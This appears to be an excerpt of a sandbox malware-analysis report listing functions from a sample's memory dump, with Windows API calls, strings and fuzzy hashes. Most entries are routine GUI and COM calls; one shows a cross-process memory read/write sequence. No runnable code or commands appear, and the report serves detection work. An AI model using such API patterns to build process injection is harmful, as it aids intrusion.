Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 003df2f7051e43831e3dbce08e71a5061f70f740579c3ff07f575f2ee3405ddb
Instruction ID: 8a0d238f75a65c77243da7ee6092b86d42942dbc27c52149bcc931ad3b134c38
Opcode Fuzzy Hash: 003df2f7051e43831e3dbce08e71a5061f70f740579c3ff07f575f2ee3405ddb
Instruction Fuzzy Hash: 66018B7A600204AFDB104F68EC88BBABBAEEF45392F104028F905D2210D778DD81DBA1

Function 001AB78E Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 001AB7A5
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 001AB7AF
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 001AB7BE
RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 001AB7C5
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 001AB7DB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 60474c0b8637d868e8f11c8444ab4c14569defe3854e3516e6170c201104bb45
Instruction ID: bb08f5381bd0a07a7cb656f42a7359f426147129c7de0e39d6be07e31ac12819
Opcode Fuzzy Hash: 60474c0b8637d868e8f11c8444ab4c14569defe3854e3516e6170c201104bb45
Instruction Fuzzy Hash: 4EF04FB52442446FEB101FA5ACC9E7B3BAEFF86755F104019FA45C7191DBA09C81DA60

Function 001AB7EF Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 001AB806
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 001AB810
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 001AB81F
RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 001AB826
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 001AB83C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 38940cd281e757affdcac902b74e43312d23463340ebfed04620033e85bc757f
Instruction ID: a290046eb05ae106ff7386f662678ff15801e8ebde1bbdc50d3f038fab01c7b0
Opcode Fuzzy Hash: 38940cd281e757affdcac902b74e43312d23463340ebfed04620033e85bc757f
Instruction Fuzzy Hash: F2F04979204204AFEB211FA9FCC8E7B3B6EFF4A754F004029FA45C7152CB689881DA60

Function 001AFA7B Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 001AFA8F
GetWindowTextW.USER32(00000000,?,00000100), ref: 001AFAA6
MessageBeep.USER32(00000000), ref: 001AFABE
KillTimer.USER32(?,0000040A), ref: 001AFADA
EndDialog.USER32(?,00000001), ref: 001AFAF4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: e967c4e0804df7dcb057053291e667a969ad411c37e5cbed83ab9b096486b877
Instruction ID: 87e080543a988ad0d512125447da4bbbf41a2b6a782bda58d990d6f4fcf80836
Opcode Fuzzy Hash: e967c4e0804df7dcb057053291e667a969ad411c37e5cbed83ab9b096486b877
Instruction Fuzzy Hash: 0F01A934500704ABEB249B50ED4EBF677B9BF01709F0401ADB14BA54E0DBF0A986CF40

Function 0018B517 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0018B526
StrokeAndFillPath.GDI32(?,?,001EF583,00000000,?), ref: 0018B542
SelectObject.GDI32(?,00000000), ref: 0018B555
DeleteObject.GDI32 ref: 0018B568
StrokePath.GDI32(?), ref: 0018B583

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 085b162d219420c01d25c1a530bd29913ad37a7384ff6ad1f3b8152279e7e2ed
Instruction ID: a0152073d48b1e95ec3cdbaa7bd50a9c6bc0e1175e97b454e9ac4245dcb62f5b
Opcode Fuzzy Hash: 085b162d219420c01d25c1a530bd29913ad37a7384ff6ad1f3b8152279e7e2ed
Instruction Fuzzy Hash: F8F0C430109604ABEB156F25FD4CB797FE6AB01322F188215F4A9445F0CB348AA6DF18

Function 001BFA15 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001BFAB2
CoCreateInstance.COMBASE(001FDA7C,00000000,00000001,001FD8EC,?), ref: 001BFACA

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

CoUninitialize.COMBASE ref: 001BFD2D

Strings

.lnk, xrefs: 001BFA63, 001BFA68, 001BFA76

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: e98ef700266d86176c4aa92be53184d46148fa59c873b11ff23ade513f37e910
Instruction ID: 8bf35bf061bb37f4785ae14fd1d2bee3ae1bc1d34efd79a616b4f219bb2afcf3
Opcode Fuzzy Hash: e98ef700266d86176c4aa92be53184d46148fa59c873b11ff23ade513f37e910
Instruction Fuzzy Hash: CAA14971504305AFC301EFA4C891EABB7EDEFA8714F40891CF55997192EB70EA09CB92

Function 0018DA5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

+, xrefs: 0018DA96
#, xrefs: 0018DA9D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 4ac122c8884b3e605e06035a2084a6c3f71b528f704264c49b0197911c814450
Instruction ID: de97b15297f757ded4b0e49997caa65cba965370f3051d4f6f7aa9a198712cb1
Opcode Fuzzy Hash: 4ac122c8884b3e605e06035a2084a6c3f71b528f704264c49b0197911c814450
Instruction Fuzzy Hash: 76512F351047969FDF29EFA9E444AFE3BB4AF26310F244051F9919B2E0D7349E82CB20

Function 001B503C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,0020DC40,?,0000000F,0000000C,00000016,0020DC40,?), ref: 001B507B

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

Part of subcall function 0017B8A7: _memmove.LIBCMT ref: 0017B8FB

CharUpperBuffW.USER32(?,?,00000000,?), ref: 001B50FB

Strings

REMOVE, xrefs: 001B50AC
THIS, xrefs: 001B5139

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf_memmove
String ID: REMOVE$THIS
API String ID: 2528338962-776492005
Opcode ID: 529e21e2804dc0bdb540474888a576a0bd1a1d9059c45a461f00aeef34f1002c
Instruction ID: 2b18c65a744431e0a3fa5072393f76d6b264ac0281799af1fd0a59228d0cf809
Opcode Fuzzy Hash: 529e21e2804dc0bdb540474888a576a0bd1a1d9059c45a461f00aeef34f1002c
Instruction Fuzzy Hash: FC417F35A00609AFCF05EF58C881BEEB7B6FF58314F048069E95AAB252DB74DD41CB51

Function 001ACF7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B4D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,001AC9FE,?,?,00000034,00000800,?,00000034), ref: 001B4D6B

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 001ACFC9

Part of subcall function 001B4D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,001ACA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 001B4D36

Part of subcall function 001B4C65: GetWindowThreadProcessId.USER32(?,?), ref: 001B4C90
Part of subcall function 001B4C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,001AC9C2,00000034,?,?,00001004,00000000,00000000), ref: 001B4CA0
Part of subcall function 001B4C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,001AC9C2,00000034,?,?,00001004,00000000,00000000), ref: 001B4CB6

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 001AD036
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 001AD083

Strings

@, xrefs: 001AD09B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: ef9b48b719abed919f881542a7a90f6d63117f0c7ddd700d55d18dfc824fb3f8
Instruction ID: 398729063d3d5d8dc9b4428cc643ae93d297720ccf9329275bf641d6122e9308
Opcode Fuzzy Hash: ef9b48b719abed919f881542a7a90f6d63117f0c7ddd700d55d18dfc824fb3f8
Instruction Fuzzy Hash: 4F412A76900218AFDB10DFA4DD85AEEBBB8AF59700F108095FA45BB181DB706E85CB61

Function 001DA44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0020DBF0,00000000,?,?,?,?), ref: 001DA4E6
GetWindowLongW.USER32 ref: 001DA503
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001DA513

Strings

SysTreeView32, xrefs: 001DA4B8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a0dc50e3077df676a20a9f40fdab46f3f9e7c518929a56b2f5f560104dc3dbb4
Instruction ID: 5ba62c2013f2c99d9ad632a4d82f494d6acd730324d0324de999a535b048d70a
Opcode Fuzzy Hash: a0dc50e3077df676a20a9f40fdab46f3f9e7c518929a56b2f5f560104dc3dbb4
Instruction Fuzzy Hash: 8531B031200205AFDF119F38DC45BEA7BA9EF49328F244726F975932E1D770E9619B90

Function 001DA698 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 001DA74F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 001DA75D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001DA764

Strings

msctls_updown32, xrefs: 001DA6C9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 3162a068b3833d77be848d9fb66afefcc6f6cb2509dd86772d14d691ed9cd724
Instruction ID: 64ef9b32fe556a4de80b042303b4dd381d4a650430e3fe41db9f8311717f8af4
Opcode Fuzzy Hash: 3162a068b3833d77be848d9fb66afefcc6f6cb2509dd86772d14d691ed9cd724
Instruction Fuzzy Hash: A32151B5600205AFEB10DF64DCC5EBB37ADEF5A394B54045AFA019B351C771EC11CAA1

Function 001D97B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 001D983D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 001D984D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 001D9872

Strings

Listbox, xrefs: 001D980A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 1c2209fbfe1614c59fb7e8477936daaef6ef884b6256ebc7bf7438c49c9b5f73
Instruction ID: a4d46c05ec9ea6820df62e9ae029f2d8937ec6f017d60d6d055a6dde7308d65c
Opcode Fuzzy Hash: 1c2209fbfe1614c59fb7e8477936daaef6ef884b6256ebc7bf7438c49c9b5f73
Instruction Fuzzy Hash: F821C632610118BFEF119F54DC85FBB3BAAEF8AB64F118125F9059B290C7719C51DBA0

Function 001DA217 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 001DA27B
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 001DA290
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 001DA29D

Strings

msctls_trackbar32, xrefs: 001DA252

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 0f907097dc55cb3ed3bf5fc97773f21e477f73278dd768b6b0800694fe5f54ee
Instruction ID: 3cd414c8c8fb7e07ab9f53214da1e3b6a429da8fa683e5b75be6343749d61cca
Opcode Fuzzy Hash: 0f907097dc55cb3ed3bf5fc97773f21e477f73278dd768b6b0800694fe5f54ee
Instruction Fuzzy Hash: B6113A71200308BFEF209F61CC46FA73BA8EF88B54F014119FA5196190D372D851CB60

Function 00192F5F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,?,00192F11,00000000), ref: 00192F79
GetProcAddress.KERNEL32(00000000), ref: 00192F80

Strings

RoInitialize, xrefs: 00192F68
combase.dll, xrefs: 00192F74

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: 75f7fd5dd38e2e525a1f9a0e7475e0150ef40589442fdb2f9032c5d1113d085d
Instruction ID: dc6f5bcfe6ff5c18520caf4ecfe2729154f8e5e878642308e6fbcab86eb22f17
Opcode Fuzzy Hash: 75f7fd5dd38e2e525a1f9a0e7475e0150ef40589442fdb2f9032c5d1113d085d
Instruction Fuzzy Hash: 12E01A70694304ABDF205F71FC9EB353666A700706F000064F246D24A0DBB58050EF19

Function 00193034 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00192F4E), ref: 0019304E
GetProcAddress.KERNEL32(00000000), ref: 00193055

Strings

RoUninitialize, xrefs: 0019303D
combase.dll, xrefs: 00193049

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 1419a0aa7544314d35e38110e89d17e7e11c940fe2a4f2591d31152c84ba93f5
Instruction ID: 47d1b12a00f58eb71336e4c46c604a1d1cd310b36e68388b9a7dba47aa82888c
Opcode Fuzzy Hash: 1419a0aa7544314d35e38110e89d17e7e11c940fe2a4f2591d31152c84ba93f5
Instruction Fuzzy Hash: 80E0ECB0744304ABDB315F61FD5DB353A75B700702F140054F24ED24B0CBB54550EB29

Function 001EBA51 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 001EBA58
__swprintf.LIBCMT ref: 001EBA8C

Strings

%.3d, xrefs: 001EBA66
WIN_XPe, xrefs: 001EBACB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
